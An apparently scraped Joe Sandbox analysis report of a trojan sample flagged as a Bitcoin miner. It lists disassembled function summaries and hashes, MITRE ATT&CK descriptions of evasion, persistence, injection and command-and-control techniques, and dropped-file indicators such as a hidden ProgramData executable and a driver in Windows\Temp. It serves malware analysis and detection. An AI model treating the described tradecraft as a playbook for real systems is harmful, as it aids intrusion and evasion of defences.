Associated: 00000014.00000002.3317707476.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317748709.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317773408.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_conhost.jbxd

Similarity

API ID: wcslen$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\wbovbrapfzpyrtxpzxmouvtx$`
API String ID: 597572034-1119163617
Opcode ID: 34e3acc8d777564628dbf587e28aed46da3455c9ff11c4d02c64f9a5b72e75bf
Instruction ID: a025c0863e1644071feb559a0b58112d75a513ffba1a90dc5899ac4e432c31cc
Opcode Fuzzy Hash: 34e3acc8d777564628dbf587e28aed46da3455c9ff11c4d02c64f9a5b72e75bf
Instruction Fuzzy Hash: 561258B2608BC081E762CB16F8443EAB7A4F789794F414215EBA957BF5EF78C189C700

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT ref: 00000001400011CC
_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT(?,?,?,0000000140001156), ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT(?,?,?,0000000140001156), ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT ref: 000000014000132D

Memory Dump Source

Source File: 00000014.00000002.3317681622.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000014.00000002.3317655351.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317707476.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317748709.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317773408.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_conhost.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: 00ac1c66197ebc50227b88a6223cca9505f05baf94f6ca9dba6275d7e8e9b764
Instruction ID: 853b5cb4b810d97d978816ea4420ec313e3627c3af1e5f4ec8bc55cd55e56463
Opcode Fuzzy Hash: 00ac1c66197ebc50227b88a6223cca9505f05baf94f6ca9dba6275d7e8e9b764
Instruction Fuzzy Hash: 2D5114B1611A4085FB16EF27F9947EA27A5BB8D7D0F849121FB4D873B6DE38C4958300

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17
VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29
Address %p has no image-section, xrefs: 0000000140001CF4

Memory Dump Source

Source File: 00000014.00000002.3317681622.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000014.00000002.3317655351.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317707476.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317748709.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317773408.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_conhost.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: d18d1f09fdfba77917c7540234edc89a1ae34ad00b66a5eb73fbe7bf19acb5c3
Instruction ID: ec64a22a3afb06751a644bfa6223830d5787557f53419172101f724c34e2370a
Opcode Fuzzy Hash: d18d1f09fdfba77917c7540234edc89a1ae34ad00b66a5eb73fbe7bf19acb5c3
Instruction Fuzzy Hash: FB4143F1601A4586FA26DF47F884BE927A0E78DBC4F554126EF0E877B1DA38C586C700

Function 0000000140002104 Relevance: 7.6, APIs: 5, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 00000014.00000002.3317681622.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000014.00000002.3317655351.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317707476.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317748709.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317773408.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_conhost.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValue
String ID:
API String ID: 926137887-0
Opcode ID: 27e192ecc5d799857d1c8385dbaaf5a6f836238ff6c117ed4402dc7d43894369
Instruction ID: 697f876828b5171767c564f6bb86c971c65e3a042cbe6cf173943f1c4610416a
Opcode Fuzzy Hash: 27e192ecc5d799857d1c8385dbaaf5a6f836238ff6c117ed4402dc7d43894369
Instruction Fuzzy Hash: D521E0B1715A0292FA5BEB53F9583E923A0B76CBD0F444021FB1E576B4DB7A8986C300

Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 0000000140001E27

Memory Dump Source

Source File: 00000014.00000002.3317681622.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000014.00000002.3317655351.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317707476.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317748709.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317773408.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_conhost.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 112abc6df4a3a955ea7a6242a2a3ec18b1e193b9e50968186ba58eaa7180ca05
Instruction ID: 838ee2c544bf2803730cc930bbb0f4a86f91135578be0a2b6e08d954fec56f6a
Opcode Fuzzy Hash: 112abc6df4a3a955ea7a6242a2a3ec18b1e193b9e50968186ba58eaa7180ca05
Instruction Fuzzy Hash: A72159B1A0110642FA77DA1BB5943FA1182ABCD7E4F258535BF1A473F9DE3C88828241

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B
Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B

Memory Dump Source

Source File: 00000014.00000002.3317681622.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000014.00000002.3317655351.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317707476.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317748709.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317773408.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_conhost.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: a6faf70e8b190511a78e30de1eab31b3fdd89b936d163022cdfacdbb5805c305
Instruction ID: bed1886f8e7b3562c786f91e2c2504e2a336d35a61311b426e06807153cec951
Opcode Fuzzy Hash: a6faf70e8b190511a78e30de1eab31b3fdd89b936d163022cdfacdbb5805c305
Instruction Fuzzy Hash: 415114B6B11544DAEB12CF67F840BE827A1A759BE8F548212FB1D077B4DB38C986C700

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

Unknown error, xrefs: 0000000140001824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D

Memory Dump Source

Source File: 00000014.00000002.3317681622.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000014.00000002.3317655351.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317707476.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317748709.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317773408.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 577444ae89d5f5a6c95c3a2f675773f7031f896e683781332b98d4dce8e5709a
Instruction ID: a02188ec0087b42d3f25a0ad686d1475033a3de64a4a15f6bec79cad075d9a0b
Opcode Fuzzy Hash: 577444ae89d5f5a6c95c3a2f675773f7031f896e683781332b98d4dce8e5709a
Instruction Fuzzy Hash: 1DF09671A14A4482E612EF6AB9417ED6360E75D7C1F50D211FF4D576A5DF3CD182C310

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 00000014.00000002.3317681622.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000014.00000002.3317655351.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317707476.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317748709.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000014.00000002.3317773408.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_conhost.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: ef714723185b3a8d2aed80037f9450dbdc245cd35eb766ee46406a0163f8cc51
Instruction ID: 8e08899b71d5d6c295770fc95a4fa8b22c720a8a39741bac27afb53efd3d8dea
Opcode Fuzzy Hash: ef714723185b3a8d2aed80037f9450dbdc245cd35eb766ee46406a0163f8cc51
Instruction Fuzzy Hash: C201B2B5705A0192FA5BDB53FE083E86360B76CBD1F454061EF0957AB4DF79C996C200

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\utblsmnncewd\bbecxurdegum.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bblwbcke.0y5.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ndhteqxt.wbu.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sivy1qx3.ilt.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3o2mnnd.u10.ps1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\Temp\__PSScriptPolicyTest_g4lrr4lf.gfl.psm1

C:\Windows\Temp\__PSScriptPolicyTest_h5zbo4jp.5rk.ps1

C:\Windows\Temp\__PSScriptPolicyTest_ingxpkfp.uhv.ps1

C:\Windows\Temp\__PSScriptPolicyTest_qiq3ihzp.4dw.psm1

C:\Windows\Temp\clwjpwuuvdte.sys

Static File Info

General

Windows Analysis Report
SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe